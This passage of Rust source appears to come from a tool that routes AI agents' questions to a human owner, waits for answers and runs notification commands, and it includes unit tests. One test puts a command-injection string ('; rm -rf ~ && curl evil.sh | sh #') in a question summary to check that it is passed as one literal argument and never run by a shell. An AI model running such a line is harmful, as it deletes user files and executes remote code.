1658 if status.resumable() {
1659 return Ok(0);
1660 }
1661 let why = format!(
1662 "run {run} {}, so nothing is waiting for this answer",
1663 status.as_str()
1664 );
1665 let mut abandoned = 0;
1670 for mut q in self.open_for(run) {
1671 if q.node == crate::bump::NOTICE_NODE {
1672 continue;
1673 }
1674 q.abandon(&why);
1675 self.put(&mut q)?;
1676 abandoned += 1;
1677 }
1678 Ok(abandoned)
1679 }
1680
1681 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1684 use crate::queue::{Reference, record_ids, resolve_reference};
1685 let ids = record_ids(&self.root, "json")?;
1686 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1687 Reference::Found(id) => Ok(id),
1688 Reference::Missing => bail!("no question matches `{prefix}`"),
1689 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1690 }
1691 }
1692
1693 pub fn revision(&self) -> u64 {
1697 std::fs::read_dir(&self.root)
1698 .into_iter()
1699 .flatten()
1700 .flatten()
1701 .filter_map(|e| e.metadata().ok())
1702 .filter_map(|m| m.modified().ok())
1703 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1704 .map(|d| d.as_millis() as u64)
1705 .max()
1706 .unwrap_or(0)
1707 }
1708
1709 pub fn count_open(&self) -> usize {
1715 self.list().iter().filter(|q| q.status.open()).count()
1716 }
1717
1718 pub fn count_needs_owner(&self) -> usize {
1727 self.list()
1728 .iter()
1729 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1730 .count()
1731 }
1732
1733 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1737 q.status.open()
1738 && q.deputy
1739 .as_ref()
1740 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1741 && !self
1742 .read_lease(&q.id)
1743 .is_some_and(|l| l.fresh(Timestamp::now()))
1744 }
1745}
1746
1747#[derive(Debug, Clone, PartialEq, Eq)]
1749pub enum Wait {
1750 Answered(String),
1752 Replied(String),
1757 Pending,
1764 Abandoned,
1769}
1770
1771pub async fn ask_and_wait(
1778 q: &mut Question,
1779 store: &Questions,
1780 notify: &config::Notify,
1781 timeout: Duration,
1782) -> Result<Wait> {
1783 wait_for_owner(q, store, notify, timeout, POLL).await
1784}
1785
1786pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1801 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1802}
1803
1804async fn wait_for_owner(
1810 q: &mut Question,
1811 store: &Questions,
1812 cfg: &config::Notify,
1813 timeout: Duration,
1814 poll: Duration,
1815) -> Result<Wait> {
1816 if !store.path_of(&q.id).is_file() {
1820 store.put(q).context("file the question")?;
1821 }
1822 if q.should_notify(Timestamp::now()) {
1823 if let Err(e) = notify(cfg, q).await {
1824 tracing::warn!(
1829 "could not notify about question {}: {e:#} - the web UI is the \
1830 only surface for it now",
1831 q.short()
1832 );
1833 }
1834 }
1835 tracing::info!(
1836 "question {} from {} is waiting for you: {}",
1837 q.short(),
1838 q.seat,
1839 q.summary
1840 );
1841 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1842}
1843
1844fn hold(store: &Questions, id: &str) {
1846 store.beat(id, WaiterKind::Asker);
1847 let took = store.update(id, |q| {
1848 if q.status.open() {
1849 q.waiter = Some(Waiter {
1850 kind: WaiterKind::Asker,
1851 since: Timestamp::now(),
1852 });
1853 }
1854 Ok(())
1855 });
1856 if let Err(e) = took {
1857 tracing::debug!("could not note the wait on question {id}: {e:#}");
1858 }
1859}
1860
1861pub fn hand_over(store: &Questions, q: &mut Question) {
1869 let done = store.update(&q.id, |r| {
1870 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1871 if r.status == QuestionStatus::Answered {
1872 r.answer_delivered = true;
1873 }
1874 r.waiter = None;
1875 Ok(())
1876 });
1877 match done {
1878 Ok((fresh, ())) => *q = fresh,
1879 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1880 }
1881}
1882
1883pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1887 let says = q.undelivered_owner_turns();
1888 if says.is_empty() {
1889 return answer.to_owned();
1890 }
1891 format!(
1892 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1893 says.join("\n\n")
1894 )
1895}
1896
1897pub fn deliver_answer(
1900 store: &Questions,
1901 q: &mut Question,
1902 answer: &str,
1903 out: &mut impl std::io::Write,
1904) -> std::io::Result<()> {
1905 writeln!(out, "{}", answer_for_agent(q, answer))?;
1906 out.flush()?;
1907 hand_over(store, q);
1908 Ok(())
1909}
1910
1911async fn wait_loop(
1921 q: &mut Question,
1922 store: &Questions,
1923 timeout: Duration,
1924 slice: Duration,
1925 poll: Duration,
1926) -> Result<Wait> {
1927 if let Some(said) = q.unread_from_owner() {
1937 return Ok(Wait::Replied(said));
1938 }
1939 hold(store, &q.id);
1940
1941 let bounded = timeout.min(slice);
1942 let is_the_real_deadline = bounded >= timeout;
1943 let deadline = tokio::time::Instant::now() + bounded;
1944 loop {
1945 let now = tokio::time::Instant::now();
1946 if now >= deadline {
1947 if !is_the_real_deadline {
1948 return Ok(Wait::Pending);
1952 }
1953 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1954 let (fresh, unread) = store
1958 .update(&q.id, |r| {
1959 let unread = r.unread_from_owner();
1960 if unread.is_none() {
1961 r.abandon(&why);
1962 r.waiter = None;
1963 }
1964 Ok(unread)
1965 })
1966 .context("record the abandoned question")?;
1967 *q = fresh;
1968 if let Some(said) = unread {
1969 return Ok(Wait::Replied(said));
1970 }
1971 tracing::warn!(
1972 "question {} went unanswered for {}s; the run parks and the \
1973 question stays as the record of it",
1974 q.short(),
1975 timeout.as_secs()
1976 );
1977 return Ok(Wait::Abandoned);
1978 }
1979 tokio::time::sleep(poll.min(deadline - now)).await;
1980 store.beat(&q.id, WaiterKind::Asker);
1981 match store.get(&q.id) {
1982 Ok(fresh) if !fresh.status.open() => {
1983 *q = fresh;
1987 return Ok(match q.resolution() {
1988 Some(a) => Wait::Answered(a),
1989 None => Wait::Abandoned,
1992 });
1993 }
1994 Ok(fresh) => {
1995 if let Some(said) = fresh.unread_from_owner() {
1996 *q = fresh;
1997 return Ok(Wait::Replied(said));
1998 }
1999 }
2002 Err(e) => {
2003 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2007 }
2008 }
2009 }
2010}
2011
2012pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2023 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2024 if q.status.open() {
2025 summary.push_str(&format!(
2026 " Respond in Questions or with `magi answer {}`.",
2027 q.id
2028 ));
2029 }
2030 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2031 notify_at(cmd, &q.run, &summary, &url).await
2032}
2033
2034pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2037 let url = view_url(
2038 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2039 "notifications",
2040 );
2041 notify_at(cmd, run, summary, &url).await
2042}
2043
2044async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2045 let Some((program, args)) = cmd.command.split_first() else {
2046 return Ok(());
2048 };
2049 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2050 tracing::warn!(
2051 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2052 so the link will be empty - export it next to `magi serve` with \
2053 the address `magi web --open` printed"
2054 );
2055 }
2056 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2057 tracing::debug!(program = %program, args = ?argv, "notifying");
2058
2059 let mut child = tokio::process::Command::new(program);
2060 child.quiet();
2061 child
2062 .args(&argv)
2063 .stdin(std::process::Stdio::null())
2064 .kill_on_drop(true);
2067 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2068 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2069 Err(_) => bail!(
2070 "notification command `{program}` did not finish within {}s",
2071 NOTIFY_TIMEOUT.as_secs()
2072 ),
2073 };
2074 if !out.status.success() {
2075 let stderr = String::from_utf8_lossy(&out.stderr);
2076 let why = stderr
2077 .lines()
2078 .rev()
2079 .find(|l| !l.trim().is_empty())
2080 .unwrap_or("no output on stderr")
2081 .trim();
2082 bail!(
2083 "notification command `{program}` exited with {}: {why}",
2084 out.status
2085 );
2086 }
2087 Ok(())
2088}
2089
2090fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2096 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2097 let mut out = String::with_capacity(template.len());
2098 let mut rest = template;
2099 while let Some(at) = rest.find('{') {
2100 out.push_str(&rest[..at]);
2101 let tail = &rest[at..];
2102 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2103 Some((token, value)) => {
2104 out.push_str(value);
2105 rest = &tail[token.len()..];
2106 }
2107 None => {
2108 out.push('{');
2110 rest = &tail[1..];
2111 }
2112 }
2113 }
2114 out.push_str(rest);
2115 out
2116}
2117
2118fn question_url(base: &str) -> String {
2125 view_url(base, "questions")
2126}
2127
2128fn view_url(base: &str, view: &str) -> String {
2129 let base = base.trim().trim_end_matches('/');
2130 if base.is_empty() || base.contains('#') {
2131 return base.to_owned();
2132 }
2133 format!("{base}/#/{view}")
2134}
2135
2136fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2141 let index = dir.join(PANEL_HTML);
2142 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2143 for (name, src) in assets {
2144 let dst = dir.join(name);
2145 std::fs::copy(src, &dst)
2146 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2147 }
2148 Ok(())
2149}
2150
2151fn clear_dir(path: &Path) -> Result<()> {
2156 match std::fs::remove_dir_all(path) {
2157 Ok(()) => Ok(()),
2158 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2159 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2160 }
2161}
2162
2163fn read_path(path: &Path) -> Result<Question> {
2164 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2165 let q: Question =
2166 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2167 if q.schema > SCHEMA {
2168 bail!(
2173 "question {} was written by a newer magi (schema {}, this build \
2174 only speaks up to {SCHEMA})",
2175 q.id,
2176 q.schema
2177 );
2178 }
2179 Ok(q)
2180}
2181
2182pub fn short_id(id: &str) -> &str {
2184 short(id)
2185}
2186
2187fn short(id: &str) -> &str {
2188 id.split('-').next_back().unwrap_or(id)
2189}
2190
2191fn new_id() -> String {
2192 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2193 new_id_at(&stamp.to_string(), crate::rng::entropy())
2194}
2195
2196fn new_id_at(stamp: &str, seed: u64) -> String {
2197 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2202 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2203 format!(
2204 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2205 (seed ^ (seed >> 32)) & 0xffff
2206 )
2207}
2208
2209#[cfg(test)]
2210mod tests {
2211 use super::*;
2212
2213 fn store() -> (tempfile::TempDir, Questions) {
2216 let dir = tempfile::tempdir().unwrap();
2217 let s = Questions::at(dir.path().join("questions"));
2218 (dir, s)
2219 }
2220
2221 #[test]
2222 fn run_names_task_only_for_task_questions() {
2223 for (node, want) in [
2224 (crate::conduct::NODE, true),
2225 (crate::triage::NODE, true),
2226 (crate::triage::DEPS_NODE, true),
2227 (crate::land::APPROVAL_NODE, false),
2228 (crate::bump::NOTICE_NODE, false),
2229 ("implement", false),
2230 ] {
2231 let mut q = choice_question();
2232 q.node = node.to_owned();
2233 assert_eq!(q.run_names_task(), want, "{node}");
2234 }
2235 }
2236
2237 #[test]
2238 fn deleting_a_run_stops_its_questions_asking() {
2239 let (_dir, store) = store();
2240
2241 let mut open_one = choice_question();
2242 store.put(&mut open_one).unwrap();
2243 let mut answered = free_question();
2244 answered
2245 .answer(Answer::Text("keep this".to_owned()))
2246 .unwrap();
2247 store.put(&mut answered).unwrap();
2248 let mut elsewhere = choice_question();
2249 elsewhere.run = "20260903-105039-3cbf".to_owned();
2250 store.put(&mut elsewhere).unwrap();
2251
2252 let n = store
2253 .abandon_for_run(&open_one.run, "run was deleted")
2254 .unwrap();
2255 assert_eq!(n, 1, "only the open question of that run");
2256
2257 let back = store.get(&open_one.id).unwrap();
2258 assert!(!back.status.open(), "it no longer asks for a decision");
2259 assert!(
2260 back.detail.contains("run was deleted"),
2261 "the operator can see why: {}",
2262 back.detail
2263 );
2264
2265 let kept = store.get(&answered.id).unwrap();
2266 assert_eq!(
2267 kept.status,
2268 QuestionStatus::Answered,
2269 "an answered question is a decision on record, not something to revoke"
2270 );
2271 assert!(
2272 store.get(&elsewhere.id).unwrap().status.open(),
2273 "another run's question is untouched"
2274 );
2275 assert!(store.open_for(&open_one.run).is_empty());
2276 }
2277
2278 #[test]
2279 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2280 let (_dir, store) = store();
2281 let mut q = choice_question();
2282 store.put(&mut q).unwrap();
2283
2284 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2286 assert_eq!(n, 0);
2287 assert!(store.get(&q.id).unwrap().status.open());
2288
2289 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2292 assert_eq!(n, 1);
2293 let back = store.get(&q.id).unwrap();
2294 assert!(!back.status.open());
2295 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2296
2297 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2299 }
2300
2301 fn choice_question() -> Question {
2302 Question::new(
2303 "20260902-201256-9fb7".to_owned(),
2304 "implement".to_owned(),
2305 "impl-A".to_owned(),
2306 "Which storage backend should the cache use?".to_owned(),
2307 "Both are already dependencies.".to_owned(),
2308 vec!["SQLite".to_owned(), "Redis".to_owned()],
2309 )
2310 }
2311
2312 fn free_question() -> Question {
2313 Question::new(
2314 "20260902-201256-9fb7".to_owned(),
2315 "review".to_owned(),
2316 "rev-1".to_owned(),
2317 "What should the error message say?".to_owned(),
2318 String::new(),
2319 Vec::new(),
2320 )
2321 }
2322
2323 fn quiet() -> config::Notify {
2325 config::Notify::default()
2326 }
2327
2328 #[test]
2329 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2330 let mut q = choice_question();
2334 q.id = "20260902-231501-ab12".to_owned();
2335 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2336 let keys: Vec<&str> = open
2340 .as_object()
2341 .unwrap()
2342 .keys()
2343 .map(String::as_str)
2344 .collect();
2345 assert_eq!(
2346 keys,
2347 [
2348 "actions",
2349 "answer",
2350 "answer_delivered",
2351 "answer_timeout",
2352 "answered_at",
2353 "asked_at",
2354 "assets",
2355 "choices",
2356 "consult",
2357 "cwd",
2358 "decision_context",
2359 "delivered_turns",
2360 "deputy",
2361 "detail",
2362 "id",
2363 "merge_target",
2364 "node",
2365 "panel",
2366 "run",
2367 "schema",
2368 "seat",
2369 "status",
2370 "summary",
2371 "thread",
2372 "triage_generation",
2373 "waiter",
2374 ],
2375 "the on-disk field set is a contract with the front end"
2376 );
2377 assert_eq!(open["schema"], 13);
2378 assert_eq!(open["merge_target"], serde_json::Value::Null);
2379 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2380 assert_eq!(open["thread"], serde_json::json!([]));
2381 assert_eq!(open["id"], "20260902-231501-ab12");
2382 assert_eq!(open["run"], "20260902-201256-9fb7");
2383 assert_eq!(open["node"], "implement");
2384 assert_eq!(open["seat"], "impl-A");
2385 assert_eq!(open["status"], "open");
2386 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2387 assert_eq!(open["answered_at"], serde_json::Value::Null);
2388 assert_eq!(open["answer"], serde_json::Value::Null);
2389 let asked = open["asked_at"].as_str().unwrap();
2390 assert!(
2391 asked.ends_with('Z') && asked.contains('T'),
2392 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2393 );
2394
2395 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2397 let answered = serde_json::to_value(&q).unwrap();
2398 assert_eq!(answered["status"], "answered");
2399 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2400 assert!(answered["answered_at"].is_string());
2401
2402 let mut free = free_question();
2404 free.answer(Answer::Text("Say which file it was".to_owned()))
2405 .unwrap();
2406 assert_eq!(
2407 serde_json::to_value(&free).unwrap()["answer"],
2408 serde_json::json!({"text": "Say which file it was"})
2409 );
2410
2411 let body = serde_json::to_string(&q).unwrap();
2413 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2414 }
2415
2416 #[test]
2417 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2418 let (_dir, store) = store();
2419 let mut q = approval_question();
2420 q.merge_target = Some(crate::merge_decision::Target {
2421 pr: "https://github.com/example/repo/pull/42".into(),
2422 head: "reviewed-head".into(),
2423 language: "ja".into(),
2424 });
2425 store.put(&mut q).unwrap();
2426 let saved = store.get(&q.id).unwrap();
2427 assert_eq!(saved, q);
2428 let mut body = serde_json::to_value(&saved).unwrap();
2429 assert_eq!(body["schema"], 13);
2430 assert_eq!(
2431 body["merge_target"],
2432 serde_json::json!({
2433 "pr": "https://github.com/example/repo/pull/42",
2434 "head": "reviewed-head",
2435 "language": "ja"
2436 })
2437 );
2438
2439 body["schema"] = serde_json::json!(10);
2442 body.as_object_mut().unwrap().remove("merge_target");
2443 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2444 let legacy = store.get(&q.id).unwrap();
2445 assert_eq!(legacy.schema, 10);
2446 assert!(legacy.merge_target.is_none());
2447 assert_eq!(legacy.choices, q.choices);
2448 assert_eq!(legacy.status, q.status);
2449 }
2450
2451 #[test]
2452 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2453 let mut unoffered = choice_question();
2456 let a = unoffered
2457 .answer(Answer::Choice("Postgres".to_owned()))
2458 .unwrap_err()
2459 .to_string();
2460
2461 let mut typed = choice_question();
2462 let b = typed
2463 .answer(Answer::Text("use Postgres".to_owned()))
2464 .unwrap_err()
2465 .to_string();
2466
2467 let mut blank = free_question();
2468 let c = blank
2469 .answer(Answer::Text(" \n".to_owned()))
2470 .unwrap_err()
2471 .to_string();
2472
2473 let mut twice = choice_question();
2474 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2475 let d = twice
2476 .answer(Answer::Choice("Redis".to_owned()))
2477 .unwrap_err()
2478 .to_string();
2479
2480 assert!(a.contains("not one of the choices"), "{a}");
2481 assert!(b.contains("multiple choice"), "{b}");
2482 assert!(c.contains("empty"), "{c}");
2483 assert!(d.contains("already answered"), "{d}");
2484 let mut distinct = vec![a, b, c, d];
2485 let asked = distinct.len();
2486 distinct.sort_unstable();
2487 distinct.dedup();
2488 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2489
2490 assert_eq!(unoffered.status, QuestionStatus::Open);
2492 assert_eq!(typed.status, QuestionStatus::Open);
2493 assert_eq!(blank.status, QuestionStatus::Open);
2494 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2496
2497 let mut free = free_question();
2499 let e = free
2500 .answer(Answer::Choice("SQLite".to_owned()))
2501 .unwrap_err()
2502 .to_string();
2503 assert!(e.contains("free text"), "{e}");
2504 }
2505
2506 #[test]
2507 fn open_questions_are_listed_before_answered_ones() {
2508 let (_dir, s) = store();
2509 let mut old_open = choice_question();
2512 old_open.id = "20260101-000001-aaaa".to_owned();
2513 let mut new_open = choice_question();
2514 new_open.id = "20260101-000002-bbbb".to_owned();
2515 let mut answered = choice_question();
2516 answered.id = "20260101-000003-cccc".to_owned();
2517 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2518 for q in [&mut old_open, &mut new_open, &mut answered] {
2519 s.put(q).unwrap();
2520 }
2521
2522 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2523 assert_eq!(
2524 ids,
2525 [
2526 "20260101-000002-bbbb",
2527 "20260101-000001-aaaa",
2528 "20260101-000003-cccc"
2529 ],
2530 "what has stopped work comes first; history sorts underneath"
2531 );
2532 assert_eq!(s.count_open(), 2);
2533 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2534 assert!(s.open_for("some-other-run").is_empty());
2535 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2537 assert!(s.get("20260101-000002-bbbb").is_ok());
2538 assert!(s.resolve_id("nope").is_err());
2539 assert!(
2540 s.revision() > 0,
2541 "the store's mtime drives the phone's polling"
2542 );
2543 }
2544
2545 #[test]
2546 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2547 let (_dir, s) = store();
2548 let mut good = choice_question();
2549 s.put(&mut good).unwrap();
2550 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2552 let future = serde_json::json!({
2553 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2554 "seat": "s", "summary": "?", "detail": "", "choices": [],
2555 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2556 "answered_at": null, "answer": null,
2557 });
2558 std::fs::write(
2559 s.path_of("20260101-000010-beef"),
2560 serde_json::to_string(&future).unwrap(),
2561 )
2562 .unwrap();
2563
2564 let listed = s.list();
2565 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2566 assert_eq!(listed[0].id, good.id);
2567 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2569 assert!(e.contains("schema"), "{e}");
2570 }
2571
2572 #[tokio::test]
2573 async fn the_wait_returns_the_answer_another_process_wrote() {
2574 let (dir, s) = store();
2579 let mut q = choice_question();
2580 let id = q.id.clone();
2581 let writer = Questions::at(dir.path().join("questions"));
2582 let handle = tokio::spawn(async move {
2583 tokio::time::sleep(Duration::from_millis(30)).await;
2584 let mut fresh = writer.get(&id).expect("the question was filed first");
2585 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2586 writer.put(&mut fresh).unwrap();
2587 });
2588
2589 let got = wait_for_owner(
2590 &mut q,
2591 &s,
2592 &quiet(),
2593 Duration::from_secs(5),
2594 Duration::from_millis(10),
2595 )
2596 .await
2597 .unwrap();
2598
2599 handle.await.unwrap();
2600 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2601 assert_eq!(
2602 q.status,
2603 QuestionStatus::Answered,
2604 "the caller's copy is refreshed from the answering process's record"
2605 );
2606 assert!(q.answered_at.is_some());
2607 }
2608
2609 #[tokio::test]
2610 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2611 let (_dir, s) = store();
2612 let mut q = choice_question();
2613
2614 let got = wait_for_owner(
2615 &mut q,
2616 &s,
2617 &quiet(),
2618 Duration::from_millis(60),
2619 Duration::from_millis(10),
2620 )
2621 .await
2622 .unwrap();
2623
2624 assert_eq!(
2625 got,
2626 Wait::Abandoned,
2627 "a slow human is not an error; the run parks"
2628 );
2629 assert_eq!(q.status, QuestionStatus::Abandoned);
2630 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2631 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2632 assert!(
2633 on_disk.detail.contains("Abandoned:"),
2634 "why nobody answered belongs with the question: {}",
2635 on_disk.detail
2636 );
2637 assert!(on_disk.resolution().is_none());
2638 assert_eq!(s.count_open(), 0);
2639 }
2640
2641 #[tokio::test]
2642 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2643 let (_dir, s) = store();
2648 let mut q = choice_question();
2649 s.put(&mut q).unwrap();
2650
2651 let got = wait_loop(
2652 &mut q,
2653 &s,
2654 Duration::from_secs(3600),
2655 Duration::from_millis(30),
2656 Duration::from_millis(10),
2657 )
2658 .await
2659 .unwrap();
2660
2661 assert_eq!(
2662 got,
2663 Wait::Pending,
2664 "the clock on this call ran out, not the owner's patience"
2665 );
2666 assert_eq!(
2667 q.status,
2668 QuestionStatus::Open,
2669 "a slice expiring must never abandon the question"
2670 );
2671 let on_disk = s.get(&q.id).expect("still on disk, still open");
2672 assert_eq!(
2673 on_disk.status,
2674 QuestionStatus::Open,
2675 "nothing about the record changed just because this call gave up"
2676 );
2677 }
2678
2679 #[tokio::test]
2680 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2681 let (dir, s) = store();
2686 let mut q = choice_question();
2687 s.put(&mut q).unwrap();
2688
2689 let first = wait_loop(
2690 &mut q,
2691 &s,
2692 Duration::from_secs(3600),
2693 Duration::from_millis(30),
2694 Duration::from_millis(10),
2695 )
2696 .await
2697 .unwrap();
2698 assert_eq!(first, Wait::Pending);
2699
2700 let id = q.id.clone();
2701 let writer = Questions::at(dir.path().join("questions"));
2702 let mut fresh = writer.get(&id).unwrap();
2703 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2704 writer.put(&mut fresh).unwrap();
2705
2706 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2711 .await
2712 .unwrap();
2713 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2714 assert_eq!(q.status, QuestionStatus::Answered);
2715 }
2716
2717 #[tokio::test]
2718 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2719 let (dir, s) = store();
2729 let mut q = choice_question();
2730 s.put(&mut q).unwrap();
2731
2732 let first = wait_loop(
2733 &mut q,
2734 &s,
2735 Duration::from_secs(3600),
2736 Duration::from_millis(30),
2737 Duration::from_millis(10),
2738 )
2739 .await
2740 .unwrap();
2741 assert_eq!(first, Wait::Pending);
2742
2743 let id = q.id.clone();
2745 let writer = Questions::at(dir.path().join("questions"));
2746 let mut fresh = writer.get(&id).unwrap();
2747 fresh.say("why not Postgres?").unwrap();
2748 writer.put(&mut fresh).unwrap();
2749
2750 let mut resumed = s.get(&id).unwrap();
2754 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2755 .await
2756 .unwrap();
2757 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2758 assert_eq!(
2759 resumed.status,
2760 QuestionStatus::Open,
2761 "talking back is not a decision; the question stays open"
2762 );
2763 }
2764
2765 #[tokio::test]
2766 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2767 let (dir, s) = store();
2771 let broken = config::Notify {
2772 command: vec![
2773 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2774 "{summary}".to_owned(),
2775 ],
2776 };
2777 let mut q = choice_question();
2778 assert!(
2779 notify(&broken, &q).await.is_err(),
2780 "the caller is told; it decides that it does not matter"
2781 );
2782
2783 let id = q.id.clone();
2784 let writer = Questions::at(dir.path().join("questions"));
2785 let handle = tokio::spawn(async move {
2786 tokio::time::sleep(Duration::from_millis(30)).await;
2787 let mut fresh = writer.get(&id).unwrap();
2788 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2789 writer.put(&mut fresh).unwrap();
2790 });
2791 let got = wait_for_owner(
2792 &mut q,
2793 &s,
2794 &broken,
2795 Duration::from_secs(5),
2796 Duration::from_millis(10),
2797 )
2798 .await
2799 .unwrap();
2800 handle.await.unwrap();
2801 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2802
2803 assert!(notify(&quiet(), &q).await.is_ok());
2805 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2806 }
2807
2808 #[tokio::test]
2809 async fn external_question_notification_names_the_supported_response_path() {
2810 let dir = tempfile::tempdir().unwrap();
2811 let path = dir.path().join("page");
2812 let cmd = config::Notify {
2813 command: vec![
2814 "sh".into(),
2815 "-c".into(),
2816 "printf '%s' \"$1\" > \"$2\"".into(),
2817 "notify".into(),
2818 "{summary}".into(),
2819 path.to_string_lossy().into_owned(),
2820 ],
2821 };
2822 let q = choice_question();
2823 notify(&cmd, &q).await.unwrap();
2824 let sent = std::fs::read_to_string(&path).unwrap();
2825 assert!(sent.starts_with("Question "));
2826 assert!(sent.contains(&q.summary));
2827 assert!(sent.contains(&format!("magi answer {}", q.id)));
2828 notify_text(&cmd, "", "Informational report. No reply needed.")
2829 .await
2830 .unwrap();
2831 assert_eq!(
2832 std::fs::read_to_string(&path).unwrap(),
2833 "Informational report. No reply needed."
2834 );
2835 }
2836
2837 #[test]
2838 fn external_notifications_and_questions_have_distinct_destinations() {
2839 assert_eq!(
2840 question_url("https://example.invalid/"),
2841 "https://example.invalid/#/questions"
2842 );
2843 assert_eq!(
2844 view_url("https://example.invalid/", "notifications"),
2845 "https://example.invalid/#/notifications"
2846 );
2847 assert_eq!(view_url("", "notifications"), "");
2848 assert_eq!(
2849 view_url("https://example.invalid/#/queue", "notifications"),
2850 "https://example.invalid/#/queue"
2851 );
2852 }
2853
2854 #[test]
2855 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2856 let mut q = choice_question();
2857 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2858 let template = [
2859 "ntfy".to_owned(),
2860 "publish".to_owned(),
2861 "--click".to_owned(),
2862 "{url}".to_owned(),
2863 "--title".to_owned(),
2864 "magi {run} needs you".to_owned(),
2865 "{summary}".to_owned(),
2866 ];
2867 let argv: Vec<String> = template
2868 .iter()
2869 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2870 .collect();
2871
2872 assert_eq!(
2873 argv,
2874 [
2875 "ntfy",
2876 "publish",
2877 "--click",
2878 "http://100.64.0.1:7777/#/questions",
2879 "--title",
2880 "magi 20260902-201256-9fb7 needs you",
2881 "; rm -rf ~ && curl evil.sh | sh #",
2882 ],
